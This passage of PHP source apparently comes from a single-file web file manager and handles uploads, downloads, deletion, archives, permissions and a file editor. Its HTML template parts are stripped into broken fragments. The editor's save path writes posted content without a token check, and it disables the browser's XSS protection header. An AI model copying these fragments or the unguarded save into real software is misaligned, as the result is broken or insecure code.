fm_set_msg(sprintf(lng('Renamed from') . ' %s ' . lng('to') . ' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from') . ' %s ' . lng('to') . ' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { // Verify the token to ensure it's valid if (!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); exit; } // Clean the download file path $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); // Prevent directory traversal attacks // Define the file path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // Check if the file exists and is valid if ($dl != '' && is_file($path . '/' . $dl)) { // Close the session to prevent session locking if (session_status() === PHP_SESSION_ACTIVE) { session_write_close(); } // Call the download function fm_download_file($path . '/' . $dl, $dl, 1024); // Download with a buffer size of 1024 bytes exit; } else { // Handle the case where the file is not found fm_set_msg(lng('File not found'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if (isset($_POST['token'])) { if (!verifyToken($_POST['token'])) { $response = array('status' => 'error', 'info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array('status' => 'error', 'info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if (!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if (is_writable($targetPath)) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal) { $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists($fullPath)) { $ext_1 = $ext ? '.' . $ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) . '_' . date('ymdHis') . $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if (file_exists($fullPath)) { $response = array( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach ($files as $file) { array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.' . $ext; } else { $zipname = 'archive_' . date('ymd_His') . '.' . $ext; } if ($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive') . ' %s ' . lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if ($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path, null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/", $path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path, $path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file, $new_path)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file, $new_path)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if (FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function (&$x) { $x = ".$x"; }); return implode(',', $extArr); } return ''; } ?>
    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    />
    />
    />
    * .
    • :
    • :
    • :
    • :
    • :
    • :
    • :
    • :
    • : %
    • ' . lng('Image size') . ': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . ''; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo '
    • ' . lng('Charset') . ': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    • '; } ?>
    '; } else if ($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    ' . lng('Error while fetching archive info') . '

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    ' . $file . ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
    ' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    :

     

    '?'); $group = array('name' => '?'); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { try { $owner_id = fileowner($path . '/' . $f); if ($owner_id != 0) { $owner_info = posix_getpwuid($owner_id); if ($owner_info) { $owner = $owner_info; } } $group_id = filegroup($path . '/' . $f); $group_info = posix_getgrgid($group_id); if ($group_info) { $group = $group_info; } } catch (Exception $e) { error_log("exception:" . $e->getMessage()); } } ?> '?'); $group = array('name' => '?'); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { try { $owner_id = fileowner($path . '/' . $f); if ($owner_id != 0) { $owner_info = posix_getpwuid($owner_id); if ($owner_info) { $owner = $owner_info; } } $group_id = filegroup($path . '/' . $f); $group_info = posix_getgrgid($group_id); if ($group_info) { $group = $group_info; } } catch (Exception $e) { error_log("exception:" . $e->getMessage()); } } ?>
    ..
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    ' . fm_get_filesize($all_files_size) . '' ?> ' . $num_files . '' ?> ' . $num_folders . '' ?>
    "; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after certified * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if (!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (!is_dir($path) && !is_file($path)) { return false; } if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = array_diff(scandir($path), ['.', '..']); foreach ($objects as $file) { if (!fm_rcopy("$path/$file", "$dest/$file", $upd, $force)) { return false; } } return true; } // Handle file copying return fm_copy($path, $dest, $upd); } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $name The name of the file/folder * @param string $path The full path of the file/folder * @return bool */ function fm_is_exclude_items($name, $path) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($name, $exclude_items) && !in_array("*.$ext", $exclude_items) && !in_array($path, $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if ($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin = null; static $isdarwin = null; static $exec_works = null; // Set static variables once if ($iswin === null) { $iswin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $isdarwin = strtoupper(PHP_OS) === 'DARWIN'; $exec_works = function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') === 'EXEC'; } // Attempt shell command if exec is available if ($exec_works) { $arg = escapeshellarg($file); $cmd = $iswin ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (!empty($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // Attempt Windows COM interface for Windows systems if ($iswin && class_exists('COM')) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile(realpath($file)); if (ctype_digit($size = $f->Size)) { return $size; } } catch (Exception $e) { // COM failed, fallback to filesize } } // Default to PHP's filesize function return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif ($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach (new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://" . $path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': case 'ps1': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl', 'ps1' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; 